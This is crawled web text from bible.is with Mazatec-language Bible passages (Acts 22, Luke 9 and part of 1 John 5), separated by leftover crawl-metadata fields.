ti̱koa̱ jcha̱xkoin jè xi Nguì Xi̱ta̱ Kixi̱; ki̱ná'yi 'én‑la̱ xi jè sobà ki̱chja̱‑lè. 15Ji̱í kéno̱jmí‑la̱ ngats'iì xi̱ta̱, ngats'iì kjoa̱ xi tì'yi ko̱ xi tìna'yì. 16I̱'ndei̱, kì ti̱ chiñà‑ne. Ti̱sítji̱in; kàtamai bautizar; ti̱nókjoa̱t'aà‑la̱ Na̱'èn‑ná Jesús nga kàtatsjeèya jé‑lè.\" 17'K'e̱ nga j'i̱‑na Jerusalén, kiaà ya̱ ñánda tíjna i̱ngo̱ ítjòn nga kichjàt'aà‑la̱ Nainá. Koni nijñá tí'biì‑na, 18tsatsejèn‑na̱ Na̱'èn‑ná; kitsò‑na: \"Ti̱xátíyi, ni̱to̱n tìtjo̱kàjiìn na̱xa̱ndá Jerusalén; i̱jndé, mì yá xi kji̱'nchré 'én‑lè xi ki̱nókjoa̱yi i̱t'aà ts'a̱n.\" 19'A̱n kixan‑la̱: \"Na̱'èn, jyeé beèxkon‑na nga 'a̱n, xki̱ ni'ya i̱ngo̱ sinagoga kiaà nga kitsobà'ñoá xi̱ta̱, kiskinìs'en nda̱yá, ti̱koa̱ kiskaàn‑koa̱a jñà xi mokjeiín‑la̱ i̱t'aà tsi̱ji. 20K'e̱ nga kisìk'en Esteban xi xi̱ta̱ chi̱'nda‑lè xi jè kitsjaà 'én tsi̱ji, ti̱koa̱á 'a̱n ya̱á tìjna̱a; ti̱koa̱á kisìjngoò takoàn nga kinìk'en; skanda 'a̱án kitsobà nikje‑la̱ jñà xi̱ta̱ xi kisìk'en Esteban.\" 21Ta̱nga jè Na̱'èn‑ná kitsò‑na: \"T'in, ján siìkasén‑lè na̱xa̱ndá‑la̱ xi mìtsà xi̱ta̱ judío xi kjiìn títsa̱jna.\" 22Jñà xi̱ta̱ na̱xa̱ndá, ndaà nchi'nchré‑la̱ Pablo koni s'ín tíchja̱; k'e̱é kòjti‑la̱ k'e̱ nga kiì'nchré 'én xi jyehet'aà‑ne; 'ñó kiìchja̱ kóho̱tjín nga kitsò: ―¡Xi̱ta̱ jè, kàtiyaà! ¡Mìkiì ok'ìn‑la̱ nga kíjnakon ìsa̱ i̱sò'nde! 23Jñà xi̱ta̱ koi, ìsa̱á 'ñó kiìchja̱ ìsa̱, bítsajneè nikje‑la̱ koa̱ bíxteèn chijo ni'nde. 24Jè xi̱ta̱ sko̱‑la̱ soldado, kitsjaà o̱kixi̱ nga tsasíjna'ya Pablo ya̱ cuartel; ti̱koa̱ kitsjaà o̱kixi̱ nga kàtajá‑la̱ mé‑ne nga ke̱èno̱jmí‑ne mé kjoa̱ xi tsohótsji nga kondra̱ fìtji̱ngui‑la̱ xi̱ta̱. 25K'e̱ nga jye tjít'aà'ñó, Pablo kiskònangui, kitsò‑la̱ jè soldado xi ya̱ síjna, jè xi bít'in‑la̱ jñà soldado xi i'nga: ―¿A tsjá'ndeé‑lè kjo̱tíxoma nga k'oa̱s'ín nìkoi̱i jngoò xi̱ta̱ Roma xi kj'eè kiì 'ya‑la̱ mé jé xi tjín‑la̱? 26Jè xi̱ta̱ xi bít'in‑la̱ jñà soldado xi i'nga, k'e̱ nga kiì'nchré nga xi̱ta̱ Romaá Pablo, kiìkon jè xi̱ta̱ sko̱‑la̱ soldado, kitsò‑la̱: ―¿Mé xi si̱koi̱i xi̱ta̱ jè? Nga xi̱ta̱ Roma‑né. 27Jè xi̱ta̱ sko̱‑la̱ soldado kiìkon Pablo, kiskònangui‑la̱ kitsò‑la̱: ―Ngaji̱, ¿a kixi̱í kjoa̱ nga xi̱ta̱ Roma‑né? Pablo kitsò: ―Kixi̱í kjoa̱. 28Jè xi̱ta̱ sko̱‑la̱ soldado kitsò‑la̱ Pablo: ―Tse jchán to̱n kisengui‑na yijo‑na̱ nga xi̱ta̱ Roma komà. Jè Pablo kitsò: ―Ta̱nga 'a̱n, k'oa̱á s'ín kits'ian nga xi̱ta̱ Roma‑ná. 29Jñà xi̱ta̱ soldado xi tjín‑ne nga ko̱jà‑la̱, chinchat'aàxìn; ti̱koa̱á jè xi̱ta̱ sko̱‑la̱ soldado k'e̱ nga kisijiìn‑la̱ nga jè Pablo xi̱ta̱ Roma‑né, kitsakjòn‑né koi kjoa̱‑la̱ nga jè kitsjaà o̱kixi̱ nga kisit'aà'ñó Pablo. 30K'e̱ nga komà inchijòn, jè xi̱ta̱ sko̱‑la̱ soldado mejèn‑la̱ nga ndaà skoe̱ mé jé xi tjín‑la̱ nga k'oa̱s'ín óngui‑ne jñà xi̱ta̱ judío. Kiskíjnda̱'ñó; i̱kjoàn tsibíxkóya xi̱ta̱ sko̱‑la̱ no̱'miì ko̱ xi̱ta̱xá ítjòn‑la̱ xi̱ta̱ judío; kiìko̱ Pablo, tsasíjnangui nguixko̱n xi̱ta̱ koi.\nHechos 22","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/Acts\/22","date":"2013-12-10T11:39:04Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164017049\/warc\/CC-MAIN-20131204133337-00052-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000038147,"language_script":"Latn","minhash_cluster_size":23,"top_langs":"{\"maa_Latn_score\": 1.0000038146972656}","num_words":705,"character_repetition_ratio":0.069,"word_repetition_ratio":0.0,"special_characters_ratio":0.233,"stopwords_ratio":0.289,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Jesús kiìchja̱á‑la̱ xi̱ta̱ ra kotá'yá'ta‑la̱ ra tejò ma‑ni, kitsjá‑la̱ nga'ñó ko̱ kjo̱téxoma nga ko̱chrjejin nga'tsì inìma̱ 'cho‑la̱ ni̱í ra tjíjin ijo‑la̱ xi̱ta̱; ti̱'koa̱ ma‑la̱ si̱inda‑ni xi̱ta̱ ra 'chin tjín‑la̱. 2Isìkasén nga ki̱chja̱ya kó'sín batéxoma Nainá, ti̱'koa̱ si̱inda‑ni xi̱ta̱ ra kiya. 3Kitsò‑la̱: ―Kì mé tsajmì jcha̱a ra ko̱chjeén‑no ya̱ a̱ya ndi̱yáa̱; kì koròti̱, kì na̱'ya, kì ni̱ño̱, ko̱ kì to̱n jcha̱a; ko̱ kì tà chjàn jò na̱chro̱‑no jcha̱a. 4Ta ñánda̱ ni'ya nga kijcho, ya̱á ti̱tsa̱jna skanda 'kia̱ nga ijye kongí‑no ra xìn i̱'nde. 5Tsa jngo na̱xi̱ndá kijcho ñánda̱ nga mì kì ska̱ábétjò‑no, títjo̱‑no, tìtsajnè chijo‑la̱ ndsa̱kò mé‑ni nga katasijin‑la̱ nga ijye tjín jngo kjoa̱ ra kondra̱ 'tse̱. 6Kijí jñà xi̱ta̱ kìi̱, jndíi̱ ra ján na̱xi̱ndá kijì; isìka'bí 'én xi̱tse̱ ra nda tsò ra a̱'ta 'tse̱ Cristo; ti̱'koa̱ isinda‑ni xi̱ta̱ ra tjín‑la̱ 'chin nga kjijndà na̱xi̱ndá. 7Ta isijñó‑la̱ jè xi̱ta̱xá ítjòn ra 'mì Herodes, 'kia̱ kií'nchré nga'tsì kjoa̱ ra tí'sín Jesús, nga̱ tjín xi̱ta̱ ra tsò: \"Ijyeé jaáya‑ila̱ jè Juan.\" 8Ko̱ tjín i'ka ra tsò: \"Jé Elías ra tsatsíjen india‑ni.\" Ti̱'koa̱ kitsò i'ka‑te: \"Jè jaáya jngo‑la̱ xi̱ta̱ jchínga ra kiìchja̱ ngajo‑la̱ Nainá.\" 9Ko̱ jè Herodes kitsó‑ní: ―'A̱n sabá tsiki'tián jñà xi̱ta̱ ra isì'ken Juan nga tsatesin. ¿Yá xi̱ta̱‑ni ra ko̱'sín tí'sín kjoa̱ ra tí'nchrè? 'Koa̱á ma‑ni nga mejèn‑la̱ kijtsexkon Jesús. 10'Kia̱ nga ijye tsáfa‑ni xi̱ta̱ ra tsikíxáya‑la̱ Jesús, tsi'kéna̱jmí‑la̱ nga'tsì kjoa̱ ra ki'sìn. Ya̱á kiìko̱ Jesús ya̱ i̱'nde 'tse̱ na̱xi̱ndá Betsaida ñánda̱ mì yá xi̱ta̱ tjín. 11'Kia̱ nga kií'nchré jñà xi̱ta̱ nga kijì Jesús, kijìtji̱ngi‑la̱; 'kia̱ nga ijchòtji̱ngi‑la̱, Jesús isìsin‑la̱ ko̱ tsi'kéna̱jmí‑la̱ kó'sín batéxoma Nainá, ti̱'koa̱á isinda‑ni jñà xi̱ta̱ ra machjeén‑la̱ nga ko̱nda‑ni. 12'Kia̱ nga ijye tímahixòn, jñà xi̱ta̱‑la̱ ra tejò ma‑ni, ijchò kincha'ta‑la̱ Jesús, kitsò‑la̱: ―Ko̱'tìn‑la̱ nga'tsì xi̱ta̱ katafì‑nì mé‑ni nga katasíkjáya ya̱ na̱xi̱ndá ñánda̱ chraña'ta ko̱ ya̱ ñánda̱ síxáko̱ nangi‑la̱ xi̱ta̱ ñánda̱ sa̱kò‑la̱ ra ski̱ne̱. Ya̱ i̱'nde ñánda̱ titsa̱jneé, a̱'ta xìn‑ní, ni̱mé tjín. 13Jesús kitsó‑la̱: ―Jiòn 'ti̱‑la ra ko̱kje̱n. Jñà xi̱ta̱‑la̱ kitsó‑ní: ―Ni̱mé tjín‑naji̱n, tà 'òn ni̱ño̱ nchra̱jín ko̱ jò ti̱ tja'chá‑ji̱n; tà jé‑la tsa kongí‑ji̱n mé‑ni nga ki̱ndá‑ji̱n tsajmì ra ko̱kje̱n nga'tsì xi̱ta̱ kìi̱. 14Ma‑la̱ tsa 'òn jmi ra xi̱ta̱ 'xi̱n. Jesús kitsò‑la̱ xi̱ta̱ ra kotá'yá'ta‑la̱: ―Icháte icháte ti̱kítsa̱jnajtín‑no nga'tsì xi̱ta̱. 15'Koa̱á 'sín isíkítsa̱jna kóhotjío̱n. 16Iskábé Jesús jñà ni̱ño̱ nchra̱jín ra 'òn ma‑ni ko̱ jñà ti̱ ra jò ma‑ni; iskotsíjen ján ngajmi, kitsjá‑la̱ kjo̱nda Nainá, a̱kjòn isìjòya; kitsjá‑la̱ jñà xi̱ta̱ ra kotá'yá'ta‑la̱ mé‑ni nga isìka'bí‑la̱ jñà xi̱ta̱ ra kjìn ma‑ni. 17Ndaá tsakjèn nga'tsì jñà xi̱ta̱ kìi̱, skanda nga kjoski; 'kia̱ nga tsikíxkó‑ni ra tsijnengi‑ni, ngi tejò ndi̱si̱yá kjomà‑isa. 18India 'kia̱ nga tíjna'taxìn Jesús nga tíchja̱'ta‑la̱ Nainá, ko̱ ya̱á tjítsa̱jnako̱ xi̱ta̱ ra kotá'yá'ta‑la̱, Jesús iskonangi‑la̱ nga kitsò‑la̱: ―¿Kó tsò xi̱ta̱, yá‑na ra 'a̱n? 19Jñà xi̱ta̱‑la̱ kitsó‑ní: ―Tjín i'ka ra tsò: jé‑la Juan ra tsatíndá xi̱ta̱. Ti̱'koa̱ tjín ra tsò: jé‑la Elías. Ko̱ tjín i'ka ra tsò: jé jaáya jngo‑la̱ xi̱ta̱ ra kiìchja̱ ngajo‑la̱ Nainá kjotseé. 20Jesús iskonangi‑la̱ kitsò‑la̱: ―¿Tanga ra jiòn, kó'sín bixó? ¿Yá‑na ra 'a̱n? 'Kia̱á kiìchja̱ Pedro, kitsò: ―Ji̱‑ní Cristo ra xá isìkasén‑li Nainá. 21Tanga Jesús 'ñó kitsjà‑la̱ kjo̱kixi̱ nga kì yá ra 'béna̱jmí‑la̱. 22Kitsò‑la̱: ―'A̱n ra I'ndí‑la̱ Xi̱ta̱ xian‑la̱ ijo‑na̱, tseé kjo̱hi'in sikjiáa̱n; ko̱chrjengií‑na jñà xi̱ta̱ jchínga, ko̱ jñà xi̱ta̱ ítjòn‑la̱ na̱'mì ko̱ xi̱ta̱ ra bakón‑ya kjo̱téxoma‑la̱ Nainá ra tsikínda Moisés. Si̱ì'keén‑na tanga 'kia̱ nga ki̱jchò jàn ni̱chjin kjoa̱áya india‑na. 23Ra kjomà a̱skan kitsó‑isa‑la̱ kóhotjío̱n: ―Tsa yá ra mejèn‑la̱ nga ya̱ ki̱ji̱'ta‑na, kì ti̱ tsja jè kjo̱binachon‑la̱ 'sín‑ni kinda̱. Ni̱chjin nchijón‑ní katachíkjoa̱‑la̱ kjo̱hi'in ra ko̱tojin koni tsa 'bamijìn jngo krò ra ti̱jè ki̱yá'ta‑ni, ko̱ katanchrabátji̱ngi‑na. 24Nga̱ ta yá xi̱ta̱‑ni ra mejèn‑la̱ nga mì mé kjo̱hi'in ko̱tojin jè kjo̱binachon‑la̱, ta isa̱á si̱ìjchija jnchro; tanga jè ra tsjá kjo̱binachon‑la̱ nga katachija ra ta nga̱tjì tsa̱'a̱n, ta isa̱á jnchro ki̱tjokajin kjo̱hi'in nga nda kíjna‑ni a̱skan‑nioo̱. 25¿Mé ra ki̱jne‑la̱ jngo xi̱ta̱, ni̱'sín 'se̱ ijye‑la̱ nga'tsì tsajmì ra tjín ya̱ i̱sà'nde, tsa tà si̱ìkitsón‑ni ko̱ si̱ìjchija‑ni inìma̱‑la̱? 26Jè ra ko̱sabà‑la̱ a̱'ta tsa̱'a̱n ko̱ a̱'ta 'tse̱ 'én‑na̱, ti̱'koa̱á ko̱sabá‑na ra a̱'ta 'tse̱, 'a̱n ra I'ndí‑la̱ Xi̱ta̱ xin‑la̱ ijo‑na̱, 'kia̱ nga 'a̱n ra jeya kjí'i̱ india‑na ya̱ a̱jin kjoa̱jeya‑la̱ Na̱'ìn‑na̱ ko̱ ya̱ a̱jin kjoa̱jeya‑la̱ ìkja̱li̱ tsje‑la̱ Nainá. 27'Koa̱á xín kixi̱‑no, títsa̱jnajin i'ka i̱jndíi̱, xi̱ta̱ ra mì kì ki̱yá skanda 'kia̱ nga ske̱ kó'sín batéxoma Nainá. 28Ijyeé‑la tjín‑ni tsa jin ni̱chjin 'kia̱ nga tsi'kéna̱jmí 'én kìi̱, ya̱á kijìmijìn jngo nindo Jesús nga kiìchja̱'ta‑la̱ Nainá. Tje̱n‑ko̱ Pedro, Juan ko̱ Jacobo. 29'Kia̱ nga tíchja̱'ta‑la̱ Nainá, Jesús, jahatjìya‑la̱ i̱sén‑la̱; jè nikje‑la̱ 'ñó chroba ko̱ 'ñó fate tsatsíjen. 30Jò xi̱ta̱ 'xi̱n, tà ndi̱to̱ón tsatsíjen ra i̱nchibáko̱ Jesús, jè ra 'mì Moisés ko̱ Elías. 31Xi̱ta̱ kìi̱, 'ñó fate kjomà kjoa̱jeya‑la̱ kó jngo tjandi ñánda̱ i̱jncha. I̱nchijo̱óya‑ni nga jè Jesús, ijyeé tífì ya̱ ján Jerusalén nga tífísíhitjasòn nga ya̱ ki̱yá. 32Jè Pedro ko̱ jñà xi̱ta̱ xákjén, taxki̱ 'ñó nijñá‑la̱, tanga tsikìtsa̱jnakon‑ní; kijtseé jè kjoa̱jeya‑la̱ Jesús ko̱ 'tse̱ jñà xi̱ta̱ ra jò ma‑ni ra tjítsa̱jnako̱. 33'Kia̱ nga ijye tsincha'taxìn‑la̱ Jesús xi̱ta̱ kìi̱, jè Pedro kitsó‑ní: ―Maestro, nda‑nì nga i̱ titsa̱jna‑ji̱n. Jàn ni'ya tji̱kien kínda‑ji̱n, jngo ra tsa̱ji, jngo ra 'tse̱ Moisés, ko̱ jngo ra 'tse̱ Elías. Jè Pedro tà 'koa̱á kitsò‑ni, mì kì ti̱ be‑ni kó'sín ki̱chja̱. 34Ti̱'kia̱á‑ni nga tíchja̱ Pedro, jngo ifi 'ji ra tsikíjtsa'ma jñà xi̱ta̱ kìi̱. 'Kia̱ nga 'jaha'sen‑jin ifi, tà itsakjón‑ní. 35Ya̱ a̱jin ifi ina'yá jngo‑la̱ 'én ra kitsò: ―Jé ra̱kìi̱ ra I'ndí‑na̱, ko̱ 'ñó tsjake̱; jé ti̱ná'ya‑la. 36'Kia̱ nga ijye ina'yá‑la̱ 'én ra ko̱kitsò, tà jè ta̱jngoó Jesús isasíjna‑ni. Jñà ni̱chjin kìi̱, jñà xi̱ta̱‑la̱ ni̱mé 'én ra kó kitsò, ko̱ ni̱yá xi̱ta̱ ra tsi'kéna̱jmí‑la̱ kjoa̱ ra kijtse. 37Ra kjomà ma nchijòn, 'kia̱ nga itjojen‑ni ya̱ nindo, 'ñó kjìn xi̱ta̱ isatékjo. 38Jngo xi̱ta̱ ra ya̱ tíjnajin‑la̱ xi̱ta̱ ra kjìn ma‑nioo̱, 'ñó kiìchja̱ nga kitsò: ―Ji̱ Maestro, 'ti̱ìn kjo̱nda chítsijen‑la̱ jè ndí ti‑na̱ ra tà jè ta̱jngo‑ni. 39Jngo inìma̱ 'cho‑la̱ ni̱í tsabá'ñó; tà ndi̱to̱ón kjindáya, a̱kjòn 'ñó síkjatsé ijo‑la̱; ngi xo̱jmáxó bachrje tsa'ba; tseé kjo̱hi'in tsjá‑la̱, mì kì ndi̱to̱n tsjin‑ni. 40Jñà xi̱ta̱ ra kotá'yá'ta‑li kásíjé‑la̱ kjo̱nda nga katachrjejin‑nì inìma̱ 'cho ra tjíjin ijo‑la̱, tanga mì kì kàma‑la̱. 41'Kia̱á kiìchja̱ Jesús kitsò: ―Jiòn xi̱ta̱ ra 'cho 'nià ko̱ ra mì kì nda makjiín‑no a̱'ta tsa̱'a̱n. ¿A ta 'a̱án kóti̱jnako̱ ki'ta‑no skanda ta mé ni̱chjin‑nioo̱, ko̱ kó'sín ko̱ma‑ni nga chíkjoa̱‑na kjoa̱ ra 'nià jiòn? Nchrabáki̱i ti‑li. 42'Kia̱ nga tínchrabá chraña jè ti, jè inìma̱ 'cho‑la̱ ni̱í, tsajndo'tá nangi, a̱kjòn isìkjatsé ijo‑la̱. Tanga Jesús, tsakátiko̱ó jè inìma̱ 'cho‑la̱ ni̱í; a̱kjòn isinda‑ni jè ti; isìnga̱tsja‑ni na̱'ìn‑la̱. 43Nga'tsì xi̱ta̱ tà kjóxkón‑la̱ jè kjoa̱jeya‑la̱ Nainá. 'Kia̱ nga ta i̱nchimaxkón‑la̱ nga'tsì xi̱ta̱ kjoa̱ ra ki'sìn Jesús, Jesús kitsó‑la̱ jñà xi̱ta̱ ra kotá'yá'ta‑la̱: 44―Nda ti̱ná'ya jñà 'én kìi̱; kì niìjchaàjion: 'A̱n ra I'ndí‑la̱ Xi̱ta̱ xian‑la̱ ijo‑na̱ ya̱á ko̱nga̱tsja xi̱ta̱ na̱xi̱ndá. 45Jñà xi̱ta̱‑la̱ mì kì kjòchi̱ya‑la̱ jñà 'én kìi̱. Isì'maá‑la̱ mé‑ni nga mì katachi̱ya‑la̱. Ko̱ mì kì kitsò ikon nga iskonangi‑la̱ Jesús kótsò‑ni. 46Jñà xi̱ta̱‑la̱ Jesús, tsikí'tsia̱‑ní nga tsajo̱óya‑ni yá ra kíjna ítjòn ra ti̱jñà‑ni. 47'Kia̱ nga kijtse Jesús koni 'sín i̱nchisíkítsjen, jngo ndí ti iskábé, isíkíjna'ta‑la̱ ijo‑la̱, 48kitsò‑la̱: ―Jè ra a̱'ta tsa̱'a̱n ska̱ábétjò jngo ndí ti, koni 'a̱án‑nì ra kjábétjò‑na; ko̱ jè ra ska̱ábétjò‑na, jé kjábétjò ra isìkasén‑na. Nga̱, jè ra isa̱ nangi tíjna ra ya̱ tíjnajin‑no, jè isa̱ tíjna ítjòn jnchro. 49Juan kitsò‑la̱ Jesús: ―Maestro, ka'ya jngo‑ji̱n xi̱ta̱ ra ko̱ 'í‑li bachrjejin‑ni inìma̱ 'cho‑la̱ ni̱í ra tjíjin ijo‑la̱ xi̱ta̱; kabatechjá‑la̱ji̱n, nga̱ jè xi̱ta̱ ra̱kìi̱ mì tsa ya̱ tsá'bako̱‑ná. 50Jesús kitsó‑la̱: ―Kì tà chjàn bichjákjáya‑la. Jè ra mì tsa kondra̱ tíjna‑ná, xi̱ta̱ tsa̱jién‑né. 51'Kia̱ nga ijye kjochraña ni̱chjin nga ki̱ji̱ india‑ni Jesús ján ngajmi, 'ñó tsi'ké‑la̱ ikon nga kijì ya̱ Jerusalén. 52Tje̱n isìkasén ítjòn i'ka xi̱ta̱‑la̱ nga kijì jngo ya̱ na̱xi̱ndá i̱tsé ra nangi Samaria nga kiì kátsji'nde ñánda̱ si̱ìkjáya. 53Jñà xi̱ta̱ Samaria mì kì kitsjá'nde‑la̱, nga̱ ijyeé tjíjin‑la̱ nga ya̱ i̱nchifì ya̱ Jerusalén. 54Jè Jacobo ko̱ jè Juan, xi̱ta̱‑la̱ Jesús ra kotá'yá'ta, 'kia̱ nga kijtse nga mì kì kitsjá'nde‑la̱, kitsó‑ní: ―Na̱'ìn, ¿a mején‑li nga ko̱kixó‑ji̱n nga katanchrabájen‑nè ni'í ra 'tse̱ ngajmi nga katasíkjehesòn jñà xi̱ta̱ kìi̱ koni 'sín ki'sìn jè Elías? 55Tanga Jesús isíkáfa'tá‑la̱, tsakátiko̱‑ní. Kitsò‑la̱: ―Jiòn, mì kì 'ya yá 'tse̱ inìma̱ ra kátsjá‑no kjo̱bítsjen ra̱kìi̱. 56'A̱n ra I'ndí‑la̱ Xi̱ta̱ xian‑la̱ ijo‑na̱, mì tsa ki xá 'jíi̱‑na nga katachija inìma̱‑la̱ xi̱ta̱; jè‑ní nga katabitjokàjin kjo̱hi'in. A̱kjòn xìn na̱xi̱ndá kijì. 57'Kia̱ nga i̱nchifì ya̱ a̱ya ndi̱yáa̱, jngo xi̱ta̱ kitsò‑la̱: ―Na̱'ìn, mején‑na nga ko̱jmetjíngi‑la ni̱'sín ta ñánda̱ 'kín. 58Jesús kitsó‑la̱: ―Jñà ni̱nda̱ tjín‑la̱ nga̱jo̱‑la̱, ko̱ jñà ni̱se ti̱'koa̱á tjín‑la̱ tjé‑la̱, tanga 'a̱n, ra I'ndí‑la̱ Xi̱ta̱ xin‑la̱ ijo‑na̱, tsìn‑na i̱'nde ñánda̱ nga ma síkjáya. 59Jesús kitsó ìjngo‑la̱ xi̱ta̱: ―Nchrabátji̱ngi‑ná. Jè ra ko̱ki'mì‑la̱ kitsò: ―Na̱'ìn, ti̱'nde ítjòn‑ná nga kjín kihíjian jè na̱'ìn‑na̱. 60Jesús kitsó‑la̱: ―Ti̱jmí nga kátíhijin‑la jñà mi'ken‑la̱ ra ti̱'koa̱ mi'ken. 'Tin ra ji̱, nga ti̱ka'bísìn 'én kó'sín batéxoma Nainá. 61Jngo‑isa xi̱ta̱ ra 'koa̱‑te kitsò: ―Kjín‑tji̱ngií‑la Na̱'ìn, tanga ti̱'nde‑ná nga íjkon ítjòn jñà ra tjítsa̱jna ya̱ ni'ya‑na̱. 62Jesús kitsó‑la̱: ―Ni̱jngo xi̱ta̱ ra a̱jto̱n í'tsi̱n tíkotsíjen‑ni nga ko̱ma si̱hitjasòn xá‑la̱ Nainá ra jè tíbatéxoma. 'Koa̱á jngoya‑la̱ tsa jngo xi̱ta̱ ra tísíxáko̱ nchra̱ja̱, tsa a̱jto̱n í'tsi̱n tíkotsíjen‑ni, mì kì ko̱ma si̱íxá.\nSan Lucas 9","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/Luke\/9","date":"2013-12-09T10:51:44Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163961998\/warc\/CC-MAIN-20131204133241-00066-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000088215,"language_script":"Latn","minhash_cluster_size":23,"top_langs":"{\"maa_Latn_score\": 1.0000088214874268}","num_words":1453,"character_repetition_ratio":0.064,"word_repetition_ratio":0.0,"special_characters_ratio":0.239,"stopwords_ratio":0.32,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Jyeé i̱xti‑la̱ Nainá‑né ngats'iì xi̱ta̱ xi nguì ko̱ ini̱ma̱‑la̱ mokjeiín‑la̱ nga jè Jesús, [jè‑né xi Nainá kisìkasén], jè‑né xi Cristo. Ko̱ ngats'iì xi̱ta̱ xi tsjakeè xi na̱'èn tíjna‑la̱, tjínè‑la̱ nga ti̱koa̱ ko̱tsjakeè ngats'iì i̱xti‑la̱ na̱'èn‑la̱. 2K'e̱ nga matsjachaá Nainá, ko̱ ti̱koa̱ nìkitasoán kjo̱tíxoma‑la̱, 'ya‑ná nga ti̱koa̱ matsjachaá jñà xi i̱xti‑la̱ Nainá ma. 3K'oa̱á s'ín tjín tsà kixi̱ kjoa̱ nga matsjachaá Nainá, jè‑né nga ndaà si̱kitasoán kjo̱tíxoma‑la̱. Ko̱ jè kjo̱tíxoma‑la̱, mìtsà 'ñó 'in bitasòn. 4Nga̱ ngats'iì xi̱ta̱ xi i̱xti‑la̱ Nainá ma, síkijneé‑la̱ ngats'iì kjoa̱ ch'o xi tjín i̱sò'nde. Koií ma nìkijne‑lá kjoa̱ xi tjín i̱sò'nde nga̱ mokjeiín‑ná i̱t'aà ts'e̱ Cristo. 5Ni̱yá xi ma síkijne‑la̱ jè kjoa̱ ch'o xi tjín i̱sò'nde, ta̱jngoò‑né jè xi̱ta̱ xi mokjeiín‑la̱ i̱t'aà ts'e̱ Jesús, nga jè‑né xi Ki'ndí‑la̱ Nainá ma. Jè‑né xi chíkjoa̱‑la̱ nga si̱ìkijne. 6Jé‑né Jesucristo xi j'iì i̱ i̱sò'nde. Ko̱ k'e̱ nga j'iì, jè nandá ko̱ jní xi ndaà tsakó. Ko̱ mìtsà tà jè nandá xi tsakó, ti̱koa̱á jè jní. Ko̱ jè Ini̱ma̱ Tsjeè‑la̱ Nainá xi béno̱jmí kixi̱ yá‑ne xi jè. Nga̱ jè Ini̱ma̱ Tsjeè‑la̱ Nainá, nguì kjoa̱ kixi̱‑né. 7Jàn ma‑ne xi nguì tsjá kixi̱ 'én‑la̱ xi i̱t'aà ts'e̱ kjoa̱ koi: 8jè Ini̱ma̱ Tsjeè‑la̱ Nainá, jè nandá, ko̱ jè jní. Ko̱ ngajàn koi, ngásòn tsò. 9Tsà mokjeiín‑ná jñà 'én xi tsjá xi̱ta̱ i̱sò'nde, mochjeén‑né nga ìsa̱ ndaà ko̱kjeiín‑ná jè 'én xi jè sobà Nainá títsjá. Nga̱ jè 'én xi títsjá, jè tíbéno̱jmí, yá‑ne xi Ki'ndí‑la̱ Nainá. 10Jè xi nguì ko̱ ini̱ma̱‑la̱ mokjeiín‑la̱ i̱t'aà ts'e̱ Ki'ndí‑la̱ Nainá, ya̱á tíjiìn ini̱ma̱‑la̱ nga kixi̱í kjoa̱ jè 'én xi tsjá Nainá. Ta̱nga jè xi mìkiì mokjeiín‑la̱ i̱t'aà ts'e̱ Nainá, jè Nainá, ndiso tíhochrjengui, koií kjoa̱‑la̱ nga mìkiì mokjeiín‑la̱ 'én xi tsjá Nainá xi i̱t'aà ts'e̱ Ki'ndí‑la̱. 11Jè 'én xi kitsjaà Nainá, jè‑né nga jè Nainá tsjá‑ná kjoa̱binachon xi mì fehet'aà ni̱ta̱ kjé‑ne. Ko̱ jè kjoa̱binachon jè, ya̱á sakó‑ná i̱t'aà ts'e̱ Ki'ndí‑la̱. 12Jè xi̱ta̱ xi Ki'ndí‑la̱ Nainá tíjnajiìn ini̱ma̱‑la̱, tjín‑la̱ kjoa̱binachon xi mìkiì fehet'aà ni̱ta̱ kjé‑ne; ta̱nga jè xi̱ta̱ xi mìtsà Ki'ndí‑la̱ Nainá tíjnajiìn ini̱ma̱‑la̱, tsjìn‑la̱ kjoa̱binachon. 13Jñò xi mokjeiín‑nò i̱t'aà ts'e̱ Ki'ndí‑la̱ Nainá, koií xá tìkjiì‑nò Xo̱jo̱n jè mé‑ne nga ndaà kàtasijiìn‑nò nga jyeé tjín‑nò kjoa̱binachon xi mìkiì fehet'aà ni̱ta̱ kjé‑ne. 14K'oa̱á ma‑ne nga 'ñó tjín takoán k'e̱ nga nokjoát'aà‑lá Nainá. K'oa̱á s'ín ndaà kji̱'nchré‑ná tsà k'oa̱s'ín si̱jét'aà‑lá koni s'ín sasén‑la̱ jè. 15Tsà jye k'oa̱s'ín tíjiìn‑ná nga Nainá 'nchré‑ná k'e̱ nga tsà mé xi nìjé‑laá, ti̱koa̱á jyeé 'yaá nga ti̱k'e̱é‑ne nga nìjé‑laá tsjá‑ná mé xi nìjé‑laá. 16Tsà yá xi̱ta̱ xi skoe̱ jngoò xi̱ta̱ xíkjín xi ti̱koa̱ i̱t'aà ts'e̱ Cristo mokjeiín‑la̱ nga ya̱ tíkàjiìn jñà jé xi mìtsà kjoa̱biyaà fìko̱‑ná, maá katítsi'batjì, ko̱ jè Nainá tsjá‑la̱ kjoa̱binachon jè xi̱ta̱ xi tíhótsji jé. Ta̱nga tà jñá‑né xi ko̱xan‑la̱ nga ma si̱tsi'batjì jñà xi̱ta̱ xi mìtsà nguì kjoa̱biyaà kjit'aà‑la̱ jñà jé xi nchihótsji. Nga̱ tjín jé xi kjoa̱biyaà fìko̱‑ná, ko̱ k'oa̱á xan nga mìtsà mochjeén nga si̱tsi'batjì jè xi̱ta̱ xi ko̱tjín jé xi tíhótsji. 17Ta̱nga ngats'iì kjoa̱ ch'o xi s'ín xi̱ta̱, nguì jé‑né nga nguixko̱n Nainá. Ta̱nga tjín‑né jñà jé xi mìtsà kjoa̱biyaà fìko̱‑ná. 18Jyeé tíjiìn‑ná nga jñà xi i̱xti‑la̱ Nainá ma, mìtsà ti̱ya̱ títsa̱jnajiìn‑ne jé, nga̱ jè Jesús xi Ki'ndí‑la̱ Nainá ma, tís'ín kinda̱, ko̱ jè xi̱ta̱ nei̱í, mì ti̱ kiì mé xi ch'o 